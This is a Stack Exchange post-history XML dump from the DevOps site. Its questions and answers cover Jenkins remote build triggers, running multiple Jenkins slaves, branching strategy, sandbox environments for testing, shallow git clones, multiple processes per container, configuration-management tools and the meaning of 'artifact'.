  <row Id="1423" PostHistoryTypeId="5" PostId="457" RevisionGUID="1f71fe39-1990-4898-b699-73410d601d4f" CreationDate="2017-03-09T16:54:29.307" UserId="47" Comment="improved readability" Text="I am attempting to trigger a parameterized jenkins build from Bamboo, doing the below.&#xD;&#xA;&#xD;&#xA;POST - &#xD;&#xA;`http://jenkins-url.com/job/jobname/buildWithParameters?ENVIRONMENT=dev&amp;APPLICATION=hello-world`&#xD;&#xA;&#xD;&#xA;But I will get a 201 instantly which tells me that the build was created. How do I make this request wait and return the success status of the build instead of the fire and forget? &#xD;&#xA;&#xD;&#xA;It is apparently possible as per [Parameterized-Remote-Trigger-Plugin][1]:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/morficus/Parameterized-Remote-Trigger-Plugin&#xD;&#xA;  [2]: https://i.stack.imgur.com/lcoWp.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="1425" PostHistoryTypeId="2" PostId="458" RevisionGUID="210d5cc8-6658-4d9c-b541-48d01f7f5530" CreationDate="2017-03-09T18:02:55.703" UserId="383" Text="When setting up the remote trigger, you have to click &quot;Block until the remote triggered projects finish their builds.&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![Remote Parameterized Job][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/BSnYD.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="1426" PostHistoryTypeId="5" PostId="456" RevisionGUID="8994eca2-1514-4132-841a-f165bc882477" CreationDate="2017-03-09T21:12:29.907" UserId="47" Comment="deleted 6 characters in body" Text="There are no *fundamental* technical issues with running multiple jenkins slave on the same machine. In fact [Running Multiple Slaves on the Same Machine][1] lists several good reasons for doing it:&#xD;&#xA;&#xD;&#xA;&gt; While the correct use of executors largely obviates the need for&#xD;&#xA;&gt; multiple slave instances on the same machine, there are some unique&#xD;&#xA;&gt; use cases to consider:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - You want more configurability between the configured nodes. Say you have one node set to be used as much as possible, and the other node&#xD;&#xA;&gt; to be used only when needed.&#xD;&#xA;&gt; - You may have multiple Jenkins master installations building different things, and so this configuration would allow you to have&#xD;&#xA;&gt; slaves for more than one master on the same box. That's right, with&#xD;&#xA;&gt; Jenkins you really can serve two masters.&#xD;&#xA;&gt; - You may wish to leverage the easiness of starting/stopping/replacing virtual machines, perhaps in conjunction with Jenkins plugins such as&#xD;&#xA;&gt; the [Libvirt Slaves Plugin][3].&#xD;&#xA;&gt; - You wish to maximize your hardware investment and utilization, at the same time minimizing operating cost (e.g. utility expenses for&#xD;&#xA;&gt; running idling slaves).&#xD;&#xA;&#xD;&#xA;*In general* scaling out is preferred, primarily because ability to scale up is typically limited by the types/sizes of the available physical resources.&#xD;&#xA;&#xD;&#xA;In particular for augmenting build power I'd recommend an analysis of your **actual** build  to determine how it uses the machine resources, which/where its bottlenecks are and what scalability limitations it raises to reveal if scaling up even helps. &#xD;&#xA;&#xD;&#xA;For example I encountered cases in which the build time for 2 parallel builds on the same machine was longer than the combined build times of the same 2 builds executed sequentially (non-overlapping) on the same machine. In such case I wouldn't even consider scaling up as it would actually *decrease* the overall building capacity.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Distributed+builds#Distributedbuilds-RunningMultipleSlavesontheSameMachine&#xD;&#xA;  [3]: https://wiki.jenkins-ci.org/display/JENKINS/Libvirt+Slaves+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="1427" PostHistoryTypeId="5" PostId="441" RevisionGUID="0bc940f4-11b6-456c-9881-a42e04a0b92e" CreationDate="2017-03-09T22:10:42.533" UserId="40" Comment="Integrate comments from OPer " Text="If I have 3 environments : integration, staging, and production, what is the cleanest branching strategy to use, assuming I want to reuse my deployed artifact?&#xD;&#xA;&#xD;&#xA;For example, should feature branches be merged into master and then built to be deployed to integration? Or is there another strategy that allows you to have 1-to-1 mapping between your releases and SCM?&#xD;&#xA;&#xD;&#xA;Some more details ... Say I merge into master, and that kicks off a build, which produces an artifact. That same artifact should be deployed to all environments to ensure consistency. Is it best to start that process with integration? In that case, there is a rather large potential window where untested code is in master before verification can occur. Is it better to use an integration branch, deploy that to integration, then merge to master and use that artifact for staging and production? Or does that just increase the need for duplicate testing?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1428" PostHistoryTypeId="6" PostId="441" RevisionGUID="0bc940f4-11b6-456c-9881-a42e04a0b92e" CreationDate="2017-03-09T22:10:42.533" UserId="40" Comment="Integrate comments from OPer " Text="&lt;scm&gt;&lt;branch&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1430" PostHistoryTypeId="2" PostId="459" RevisionGUID="87636173-58e6-42ad-8b36-ffbb79e8d3b6" CreationDate="2017-03-10T08:24:40.710" UserId="40" Text="When configuring test environments, the issue often comes up where I ask the question to the customer like in my question title here:&#xD;&#xA;&#xD;&#xA;&gt; **How to avoid a regular user can only test in production?**&#xD;&#xA;&#xD;&#xA;There are typically the environments like unit test, system test, integration test, volume test, user acceptance test, etc (I bet there are yet another dozen of names like those). But they all relate to environments in which something differs from how things currently work in the real production environments. So none of these is what my question is about.&#xD;&#xA;&#xD;&#xA;To make this a less abstract question, consider this sample below:&#xD;&#xA;&#xD;&#xA;&gt; Can non-SE employees only test SE sites in production?&#xD;&#xA;&#xD;&#xA;I run into this scenario over and over (earlier today it happened again ...):&#xD;&#xA;&#xD;&#xA;- I discover some facility on an SE site that gets my attention (that I want to start using).&#xD;&#xA;- I start looking around in help pages, etc, and either don't find what I'm looking for, or what I find is not 100 accurate or clear to me.&#xD;&#xA;- I just try to start to use it, see what happens, hoping I will find the answer to what I couldn't find in the help pages (by just using that facility in some SE site ... read: by ***testing in production***).&#xD;&#xA;- I then just wait and see what happens, which may be things like:&#xD;&#xA;  - I learn about something new/interesting and it works great.&#xD;&#xA;  - I get accused of trying to &quot;fuzzle the system&quot;.&#xD;&#xA;  - I get corrected by a mod because of something I did (which I shouldn't have done).&#xD;&#xA;  - I discover a bug, which I either report (on meta.SE), or which I decide to consider as &quot;a bug becomes a feature&quot; (read: I don't want to disclose this handy feature).&#xD;&#xA;&#xD;&#xA;However, doing some of those &quot;experiments in production&quot; may damage your reputation (not really your &quot;points&quot;, but your real reputation).&#xD;&#xA;&#xD;&#xA;So as a good SE citizens, I would be happy to do those experiments in an environment that is designed *just for that*: a none-production environment designed for users like me who want to do such experiments.&#xD;&#xA;&#xD;&#xA;Voilà, if you were asked to configure test environments for SE sites, what would you do (or recommend SE management) about this DevOps issue?&#xD;&#xA;&#xD;&#xA;PS: to my knowledge, at this very moment, there is no such SE environment that I can use right now to go check if a user that I &quot;invite right now&quot; for DevOps (while it is in private beta), and which I know did NOT commit to DevOps, will actually be able to login to the DevOps site. So instead of discussing it with mods on some other site, I already ... ***tested it in production***. And dispite what some moderator try to make me believe ... it did work (and the invited user now also has an account on DevOps.SE)." ContentLicense="CC BY-SA 3.0" />
  <row Id="1431" PostHistoryTypeId="1" PostId="459" RevisionGUID="87636173-58e6-42ad-8b36-ffbb79e8d3b6" CreationDate="2017-03-10T08:24:40.710" UserId="40" Text="How to avoid a regular user can only test in production?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1432" PostHistoryTypeId="3" PostId="459" RevisionGUID="87636173-58e6-42ad-8b36-ffbb79e8d3b6" CreationDate="2017-03-10T08:24:40.710" UserId="40" Text="&lt;scm&gt;&lt;testing&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1433" PostHistoryTypeId="2" PostId="460" RevisionGUID="b67d69a1-70a6-4ac9-8742-9ee075837286" CreationDate="2017-03-10T08:53:28.863" UserId="13" Text="To bring material to the subject you can check the questions with tag [tag:sandbox] on [MetaSE](https://meta.stackexchange.com/questions/tagged/sandbox), there's sanboxes for Q/A formatting, for comments formatting and for chat.&#xD;&#xA;&#xD;&#xA;There's a [feature request for a sandbox site](https://meta.stackexchange.com/questions/62585/can-we-get-a-stack-exchange-sandbox) which has no status (neither declined, pending, review nor in-progress meta-tag).&#xD;&#xA;&#xD;&#xA;So I assume the answer is that there's no way to test out of real sites for now and my recommendation to SE would be to accept this feature request.&#xD;&#xA;&#xD;&#xA;I don't think it's always needed to give users a sandbox, and it can be overkill sometimes. Defects should be spotted on Q/A environments, and when they're not, well, either you can know there's a glitch by a fine monitoring of your logs, or you will just never know until someone tells you." ContentLicense="CC BY-SA 3.0" />
  <row Id="1434" PostHistoryTypeId="8" PostId="407" RevisionGUID="b7d9d13d-e837-48e0-9af9-a9cb486e3170" CreationDate="2017-03-10T09:49:23.690" UserId="184" Comment="Rollback to [f173e3ea-458b-4322-a04a-66e6684bbec6]" Text="### Shallow clone&#xD;&#xA;&#xD;&#xA;You can indeed get a shallow clone out of GIT using:&#xD;&#xA;&#xD;&#xA;    git clone --depth=1 &lt;url&gt;&#xD;&#xA;&#xD;&#xA;This will still clone the repo and create a `.git` folder with the objects, only smaller in size (difference depending on your total file size vs. history size).&#xD;&#xA;&#xD;&#xA;### GIT archive&#xD;&#xA;&#xD;&#xA;You can also use [git-archive](https://git-scm.com/docs/git-archive) to extract an archive of the repo:&#xD;&#xA;&#xD;&#xA;&gt; Creates an archive of the specified format containing the tree structure for the named tree, and writes it out to the standard output. If &lt;prefix&gt; is specified it is prepended to the filenames in the archive.&#xD;&#xA;&#xD;&#xA;In the [examples](https://git-scm.com/docs/git-archive#_examples) it shows for instance:&#xD;&#xA;&#xD;&#xA;&gt; `git archive --format=tar --prefix=git-1.4.0/ v1.4.0 | gzip &gt;git-1.4.0.tar.gz`  &#xD;&#xA;&gt; &gt; Create a compressed tarball for [tag:v1.4.0] release.&#xD;&#xA;&#xD;&#xA;### Hosted GIT, archive API&#xD;&#xA;&#xD;&#xA;If you are hosting your repo on GitHub, then you can use their [archive API](https://developer.github.com/v3/repos/contents/#get-archive-link):&#xD;&#xA;&#xD;&#xA;`https://api.github.com/repos/&lt;username&gt;/&lt;repository&gt;/zipball/&lt;commit_hash&gt;`&#xD;&#xA;&#xD;&#xA;Bitbucket.org has a same functionality for this:&#xD;&#xA;&#xD;&#xA;`https://bitbucket.org/&lt;username&gt;/&lt;repository&gt;/get/&lt;branch_name|commit_hash|tag&gt;.zip`" ContentLicense="CC BY-SA 3.0" />
  <row Id="1435" PostHistoryTypeId="5" PostId="407" RevisionGUID="9cfa1120-1d42-4b51-b28c-76a6eeb110aa" CreationDate="2017-03-10T09:50:08.590" UserId="184" Comment="edited body" Text="### Shallow clone&#xD;&#xA;&#xD;&#xA;You can indeed get a shallow clone out of Git using:&#xD;&#xA;&#xD;&#xA;    git clone --depth=1 &lt;url&gt;&#xD;&#xA;&#xD;&#xA;This will still clone the repo and create a `.git` folder with the objects, only smaller in size (difference depending on your total file size vs. history size).&#xD;&#xA;&#xD;&#xA;### Git archive&#xD;&#xA;&#xD;&#xA;You can also use [git-archive](https://git-scm.com/docs/git-archive) to extract an archive of the repo:&#xD;&#xA;&#xD;&#xA;&gt; Creates an archive of the specified format containing the tree structure for the named tree, and writes it out to the standard output. If &lt;prefix&gt; is specified it is prepended to the filenames in the archive.&#xD;&#xA;&#xD;&#xA;In the [examples](https://git-scm.com/docs/git-archive#_examples) it shows for instance:&#xD;&#xA;&#xD;&#xA;&gt; `git archive --format=tar --prefix=git-1.4.0/ v1.4.0 | gzip &gt;git-1.4.0.tar.gz`  &#xD;&#xA;&gt; &gt; Create a compressed tarball for [tag:v1.4.0] release.&#xD;&#xA;&#xD;&#xA;### Hosted Git, archive API&#xD;&#xA;&#xD;&#xA;If you are hosting your repo on GitHub, then you can use their [archive API](https://developer.github.com/v3/repos/contents/#get-archive-link):&#xD;&#xA;&#xD;&#xA;`https://api.github.com/repos/&lt;username&gt;/&lt;repository&gt;/zipball/&lt;commit_hash&gt;`&#xD;&#xA;&#xD;&#xA;Bitbucket.org has a same functionality for this:&#xD;&#xA;&#xD;&#xA;`https://bitbucket.org/&lt;username&gt;/&lt;repository&gt;/get/&lt;branch_name|commit_hash|tag&gt;.zip`" ContentLicense="CC BY-SA 3.0" />
  <row Id="1437" PostHistoryTypeId="5" PostId="460" RevisionGUID="c5f2aad7-fdde-4a51-a928-11a55a86ac28" CreationDate="2017-03-10T10:02:14.520" UserId="13" Comment="added 484 characters in body" Text="To bring material to the subject you can check the questions with tag [tag:sandbox] on [MetaSE](https://meta.stackexchange.com/questions/tagged/sandbox), there's sanboxes for Q/A formatting, for comments formatting and for chat.&#xD;&#xA;&#xD;&#xA;There's a [feature request for a sandbox site](https://meta.stackexchange.com/questions/62585/can-we-get-a-stack-exchange-sandbox) which has no status (neither declined, pending, review nor in-progress meta-tag).&#xD;&#xA;&#xD;&#xA;So I assume the answer is that there's no way to test out of real sites for now and my recommendation to SE would be to accept this feature request.&#xD;&#xA;&#xD;&#xA;I don't think it's always needed to give users a sandbox, and it can be overkill sometimes. Defects should be spotted on Q/A environments, and when they're not, well, either you can know there's a glitch by a fine monitoring of your logs, or you will just never know until someone tells you.&#xD;&#xA;&#xD;&#xA;Even if you deploy a sandbox for your users to try and confirm a bug, nothing tells you they will inform you of a bug/problem and you had to go through adding a public environment with dummy or anonymised datas with no idea of it's ROI.&#xD;&#xA;&#xD;&#xA;So It boils down to: &quot;You can create a sandbox for your users but it adds complexity to your infrastructure for a hardly measured return&quot;&#xD;&#xA;&#xD;&#xA;My personal opinion would be to put the efforts in log analysis to spot unwanted behaviors instead." ContentLicense="CC BY-SA 3.0" />
  <row Id="1441" PostHistoryTypeId="10" PostId="369" RevisionGUID="183d8cc0-ec2b-48c4-b777-2090fbca03b3" CreationDate="2017-03-10T10:25:43.543" UserId="-1" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;kenorb&quot;},{&quot;Id&quot;:544,&quot;DisplayName&quot;:&quot;Jduv&quot;},{&quot;Id&quot;:184,&quot;DisplayName&quot;:&quot;7ochem&quot;},{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;},{&quot;Id&quot;:649,&quot;DisplayName&quot;:&quot;Uwe Keim&quot;}]}" />
  <row Id="1442" PostHistoryTypeId="5" PostId="460" RevisionGUID="909a67d3-6599-4bed-84f6-db941387011d" CreationDate="2017-03-10T10:58:42.483" UserId="40" Comment="Improve readability" Text="### A Sandbox could be part of the solution&#xD;&#xA;&#xD;&#xA;To bring material to the subject you can check the questions with tag [tag:sandbox] on [MetaSE](https://meta.stackexchange.com/questions/tagged/sandbox), there are **sanboxes** for:&#xD;&#xA;&#xD;&#xA;- Q/A formatting.&#xD;&#xA;- Comments formatting.&#xD;&#xA;- Chat.&#xD;&#xA;&#xD;&#xA;There's a feature request about &quot;[Can we get a Stack Exchange sandbox?](https://meta.stackexchange.com/questions/62585/can-we-get-a-stack-exchange-sandbox)&quot; which has no status (neither declined, pending, review nor in-progress meta-tag).&#xD;&#xA;&#xD;&#xA;So I assume the answer (to the specific sample in the question) is that there's no way to test out of real SE sites for now and my recommendation to SE would be to accept this feature request.&#xD;&#xA;&#xD;&#xA;### When is a sandbox appropriate?&#xD;&#xA;&#xD;&#xA;I don't think it's always needed to give users a sandbox, and it can be overkill sometimes. Defects should be spotted on Q/A environments, and when they're not, well, either you can know there's a glitch by a fine monitoring of your logs, or you will just never know until someone tells you.&#xD;&#xA;&#xD;&#xA;### Sanboxes come at an additional cost&#xD;&#xA;&#xD;&#xA;Even if you deploy a sandbox for your users to try and confirm a bug, nothing tells you they will inform you of a bug/problem and you had to go through adding a public environment with **dummy or anonymised data** with no idea of it's ROI.&#xD;&#xA;&#xD;&#xA;So It boils down to: &quot;You can create a sandbox for your users but it adds complexity to your infrastructure for a hardly measured return&quot;&#xD;&#xA;&#xD;&#xA;### Recommendation&#xD;&#xA;&#xD;&#xA;My personal opinion would be to put the efforts in log analysis to spot unwanted behaviors instead." ContentLicense="CC BY-SA 3.0" />
  <row Id="1443" PostHistoryTypeId="5" PostId="448" RevisionGUID="47b34755-1c2e-4b3f-b867-c7faa0e95182" CreationDate="2017-03-10T11:02:47.163" UserId="13" Comment="added 1316 characters in body" Text="The recommendation comes from the goal and design of the [Operating-system-level virtualization](https://en.wikipedia.org/wiki/Operating-system-level_virtualization)&#xD;&#xA;&#xD;&#xA;Containers have been designed to isolate a process for others by giving it its own [userspace](https://en.wikipedia.org/wiki/User_space) and filesystem.  &#xD;&#xA;This is the logical evolution of `chroot` which was providing an isolated filesystem, the next step was isolating processes from the others to avoid memory overwrites and allowing to use the same resource (I.e TCP port 8080 for example) from multiple processes without conflicts.  &#xD;&#xA;&#xD;&#xA;The main interest in a container it to package the needed library for the process without worrying about version conflicts.&#xD;&#xA;If you run multiples processes needing two versions of the same library in the same userspace and filesystem, you'd had to tweak at least LDPATH for each process so the proper library is found first, and some libraries can't be tweaked this way, because their path is hard coded in the executable at compilation time, see [this SO question](http://stackoverflow.com/questions/847179/multiple-glibc-libraries-on-a-single-host) for more details.  &#xD;&#xA;At the network level you'll have to configure each process to avoid using the same ports. &#xD;&#xA;&#xD;&#xA;Running multiple processes in the same container require some heavy tweaking and at the end of the day defeat the purpose of isolation, if you are ok to run multiples processes within the same userspace, sharing the same filesytem and network resources, then why not running them on the host itself ?&#xD;&#xA;&#xD;&#xA;Here is the non exhaustive list of the heavy tweaking/pitfalls I can think of:&#xD;&#xA;&#xD;&#xA; - Handling the logs&#xD;&#xA;    &#xD;&#xA;    Either being with a mounted volume or interleaved on stdout this bring some management. If using a mounted volume your container should have it's own &quot;place&quot; on host or two same containers will fight for the same resource. When interleaving on stdout to take advantage of `docker logs` it can become a nightmare for analysis if the sources can't be identified easily.&#xD;&#xA;&#xD;&#xA; - Beware of zombie processes&#xD;&#xA;&#xD;&#xA;    If one of your process in a container crash, supervisord may not be able to clean up the childs in a zombie state, and the host init will never inherit them. Once you exhausted the number of available pids (2^22 so roughly 4 millions) a bunch of things will fail.&#xD;&#xA;&#xD;&#xA; - Separation of concerns&#xD;&#xA;&#xD;&#xA;    If you run two separated things, like an apache server and logstash within the same container, that may ease the log handling, but you have to shutdown apache to update logstash. (In reality, you should use the logging driver of Docker) &#xD;&#xA;    Will it be a graceful stop waiting the current sessions to end or not ? If it's a graceful stop, it may take sometime and become long to roll the new version. If you do a kill, you'll impact users for a log shipper and that should be avoided IMHO.&#xD;&#xA;&#xD;&#xA;Finally when you have multiple processes you're reproducing an OS, and in this case using a hardware virtualization sounds more in line with this need." ContentLicense="CC BY-SA 3.0" />
  <row Id="1444" PostHistoryTypeId="2" PostId="461" RevisionGUID="f9e471f0-8ca7-468c-a22f-774b5289a433" CreationDate="2017-03-10T13:06:48.730" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1445" PostHistoryTypeId="1" PostId="461" RevisionGUID="f9e471f0-8ca7-468c-a22f-774b5289a433" CreationDate="2017-03-10T13:06:48.730" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1446" PostHistoryTypeId="2" PostId="462" RevisionGUID="16ac2f82-87c0-446b-95b4-75775d971073" CreationDate="2017-03-10T13:06:48.730" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1447" PostHistoryTypeId="1" PostId="462" RevisionGUID="16ac2f82-87c0-446b-95b4-75775d971073" CreationDate="2017-03-10T13:06:48.730" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1448" PostHistoryTypeId="2" PostId="463" RevisionGUID="48259884-e69f-43bd-b9b6-2d07b0510a3c" CreationDate="2017-03-10T13:13:12.013" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1449" PostHistoryTypeId="1" PostId="463" RevisionGUID="48259884-e69f-43bd-b9b6-2d07b0510a3c" CreationDate="2017-03-10T13:13:12.013" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1450" PostHistoryTypeId="2" PostId="464" RevisionGUID="a504fc45-886e-4de4-a031-97f0e1db6c16" CreationDate="2017-03-10T13:13:12.013" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1451" PostHistoryTypeId="1" PostId="464" RevisionGUID="a504fc45-886e-4de4-a031-97f0e1db6c16" CreationDate="2017-03-10T13:13:12.013" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1452" PostHistoryTypeId="2" PostId="465" RevisionGUID="2f05a1f5-382e-40b9-adaf-3a04f3e18286" CreationDate="2017-03-10T13:53:40.323" UserDisplayName="user652" Text="First of all let me say that I'm aware of related questions here in SO:&#xD;&#xA;&#xD;&#xA; - [Vagrant, Docker, Puppet, Chef](http://stackoverflow.com/questions/41471832/vagrant-docker-puppet-chef)&#xD;&#xA; - [Vagrant + puppet + docker](http://stackoverflow.com/questions/30933916/vagrant-puppet-docker)&#xD;&#xA; - [chef-server - chef-solo - vagrant - puppet... which is correct for me?](http://stackoverflow.com/questions/22181419/chef-server-chef-solo-vagrant-puppet-which-is-correct-for-me)&#xD;&#xA;&#xD;&#xA;Or articles out there:&#xD;&#xA;&#xD;&#xA; - https://www.upguard.com/blog/puppet-vs-chef-battle-wages&#xD;&#xA;&#xD;&#xA;But I'm having trouble understanding real benefit they provide for a web developer (e.g. Full stack developer with (PHP/react)). You know? None of them is that clear for me in:&#xD;&#xA;&#xD;&#xA; - what facilities they could provide &amp; how they make my job easier?&#xD;&#xA; - When do they become semi vital for project success &amp; non-self-repeating activities?&#xD;&#xA;&#xD;&#xA;Would you mind clarifying these concepts/techs from my POV? (If you mind, please avoid comparing with routine &quot;Vs.&quot; literature &amp; Try to introduce real-life good-parts?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1453" PostHistoryTypeId="1" PostId="465" RevisionGUID="2f05a1f5-382e-40b9-adaf-3a04f3e18286" CreationDate="2017-03-10T13:53:40.323" UserDisplayName="user652" Text="What can Vagrant, Puppet, Docker, Chef do for a Full stack Web developer?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1454" PostHistoryTypeId="3" PostId="465" RevisionGUID="2f05a1f5-382e-40b9-adaf-3a04f3e18286" CreationDate="2017-03-10T13:53:40.323" UserDisplayName="user652" Text="&lt;docker&gt;&lt;vagrant&gt;&lt;puppet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1455" PostHistoryTypeId="5" PostId="465" RevisionGUID="a68d41dc-1aec-4523-9cad-f6e99fcf17ec" CreationDate="2017-03-10T14:30:23.287" UserId="40" Comment="Integrate comments from OPer " Text="First of all let me say that I'm aware of related questions here in SO:&#xD;&#xA;&#xD;&#xA; - [Vagrant, Docker, Puppet, Chef](http://stackoverflow.com/questions/41471832/vagrant-docker-puppet-chef)&#xD;&#xA; - [Vagrant + puppet + docker](http://stackoverflow.com/questions/30933916/vagrant-puppet-docker)&#xD;&#xA; - [chef-server - chef-solo - vagrant - puppet... which is correct for me?](http://stackoverflow.com/questions/22181419/chef-server-chef-solo-vagrant-puppet-which-is-correct-for-me)&#xD;&#xA;&#xD;&#xA;Or articles out there:&#xD;&#xA;&#xD;&#xA; - https://www.upguard.com/blog/puppet-vs-chef-battle-wages&#xD;&#xA;&#xD;&#xA;But I'm having trouble understanding real benefit they provide for a web developer (e.g. Full stack developer with (PHP/react)). You know? None of them is that clear for me in:&#xD;&#xA;&#xD;&#xA; - what facilities they could provide &amp; how they make my job easier?&#xD;&#xA; - When do they become semi vital for project success &amp; non-self-repeating activities?&#xD;&#xA;&#xD;&#xA;Would you mind clarifying these concepts/techs from my POV? If you mind, please avoid comparing with routine &quot;Vs.&quot; literature &amp; Try to introduce real-life good-parts. A brief explanation from anybody would sufficient.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1456" PostHistoryTypeId="5" PostId="455" RevisionGUID="33ae733e-b111-4ebd-a96f-6cdb21fcc836" CreationDate="2017-03-10T15:14:41.793" UserId="545" Comment="added 55 characters in body" Text="This tag is for questions regarding informal processes." ContentLicense="CC BY-SA 3.0" />
  <row Id="1457" PostHistoryTypeId="24" PostId="455" RevisionGUID="33ae733e-b111-4ebd-a96f-6cdb21fcc836" CreationDate="2017-03-10T15:14:41.793" Comment="Proposed by 545 approved by 40, 47 edit id of 134" ContentLicense="CC BY-SA 3.0" />
  <row Id="1458" PostHistoryTypeId="5" PostId="454" RevisionGUID="8302f236-7402-478b-9fdb-135a44474e77" CreationDate="2017-03-10T15:14:49.633" UserId="545" Comment="added 59 characters in body" Text="Use this tag is for questions regarding informal processes." ContentLicense="CC BY-SA 3.0" />
  <row Id="1459" PostHistoryTypeId="24" PostId="454" RevisionGUID="8302f236-7402-478b-9fdb-135a44474e77" CreationDate="2017-03-10T15:14:49.633" Comment="Proposed by 545 approved by 40, 47 edit id of 133" ContentLicense="CC BY-SA 3.0" />
  <row Id="1460" PostHistoryTypeId="5" PostId="282" RevisionGUID="b88f6c0f-0fd8-412f-9155-991442335d69" CreationDate="2017-03-10T15:15:30.163" UserId="40" Comment="added 151 characters in body" Text="Use this tag for questions about deployment, which is about all the activities to make (part of) a system available for use in some target environment." ContentLicense="CC BY-SA 3.0" />
  <row Id="1461" PostHistoryTypeId="24" PostId="282" RevisionGUID="b88f6c0f-0fd8-412f-9155-991442335d69" CreationDate="2017-03-10T15:15:30.163" Comment="Proposed by 40 approved by 13, 47 edit id of 136" ContentLicense="CC BY-SA 3.0" />
  <row Id="1462" PostHistoryTypeId="5" PostId="453" RevisionGUID="5daf5657-4b98-431c-ad6a-c57997dc92aa" CreationDate="2017-03-10T15:19:25.150" UserId="27" Comment="Adressing comments" Text="During development you generate a fair amount of different artifacts. These might include:&#xD;&#xA;&#xD;&#xA;* The source code&#xD;&#xA;* The compiled application&#xD;&#xA;* A deployable package&#xD;&#xA;* Documentation&#xD;&#xA;&#xD;&#xA;and potentially others as well&#xD;&#xA;&#xD;&#xA;While you could use a source control system to store all of them, it's usually massively inefficient, as source control systems are usually designed to handle text based files, and not binary files. You might be able to use them as a simple storage mechanism, if most of your releases are text based, and you don't have to store a lot of binary data.&#xD;&#xA;&#xD;&#xA;Artifact repositories however are designed to store all kinds of files, including binary ones. This includes anything from zipped up source codes, to build results, to things like docker containers as well. Also, they usually not only store these artifacts but also help manage them using various additional functions, for example:&#xD;&#xA;&#xD;&#xA;* Versioning support: properly store some metadata, like when each artifact was built, what their version number is, store their hashes, etc.&#xD;&#xA;* Retention: make sure you only keep the important artifacts, and automatically delete ones that are only snapshots / not needed anymore, etc. based on various criteria you can set up&#xD;&#xA;* Access control: set up who can publish and who can download the various artifacts&#xD;&#xA;* Promotion: ability to promote artifacts. For example you can have snapshot artifacts with a short retention period on a server near your coders, and a separate repository near the live servers, where only artifacts that have been deemed deployable appear. This also includes support for various version channels, and moving artifacts between them (like promoting a specific version from beta to stable).&#xD;&#xA;* Act as a native repository for the artifacts. Meaning you can use it as the main repository for maven, rubygems, docker, etc. This can also include caching of artifacts from the official repositories as well." ContentLicense="CC BY-SA 3.0" />
  <row Id="1463" PostHistoryTypeId="2" PostId="466" RevisionGUID="2cd77a48-e56a-454f-8b4c-25bf550304a6" CreationDate="2017-03-10T15:38:00.833" UserId="40" Text="The question about &quot;http://devops.stackexchange.com/q/452/40&quot; contains an answer with an [interesting explanation][1] about the repository part of it.&#xD;&#xA;And from reading the entire answer, I am not sure what exactly an &quot;*artifact*&quot; means in the context of DevOps.&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;Ps: Hopefully the [lmgtfy](https://meta.stackexchange.com/tags/lmgtfy/info) - filter is enabled around here ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/a/453/40" ContentLicense="CC BY-SA 3.0" />
  <row Id="1464" PostHistoryTypeId="1" PostId="466" RevisionGUID="2cd77a48-e56a-454f-8b4c-25bf550304a6" CreationDate="2017-03-10T15:38:00.833" UserId="40" Text="What is an artifact?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1465" PostHistoryTypeId="3" PostId="466" RevisionGUID="2cd77a48-e56a-454f-8b4c-25bf550304a6" CreationDate="2017-03-10T15:38:00.833" UserId="40" Text="&lt;terminology&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1466" PostHistoryTypeId="2" PostId="467" RevisionGUID="968fd1a2-2f05-4176-9d15-684aff819778" CreationDate="2017-03-10T15:48:32.557" UserId="293" Text="I suppose the answer may vary from place to place, where I work at the moment an artifacts is anything consumed by some other entity, except for the source code used for development- this goes into source control.&#xD;&#xA;&#xD;&#xA;This could be binaries of the product or other needed products, libraries, object files, test artifacts like media files or test data.&#xD;&#xA;&#xD;&#xA;Source code is not considered an artifacts, unless it matches the definition of &quot;consumed by&quot; in our case those are third party libraries, script code used for testing or other purposes (but not the development version itself)." ContentLicense="CC BY-SA 3.0" />
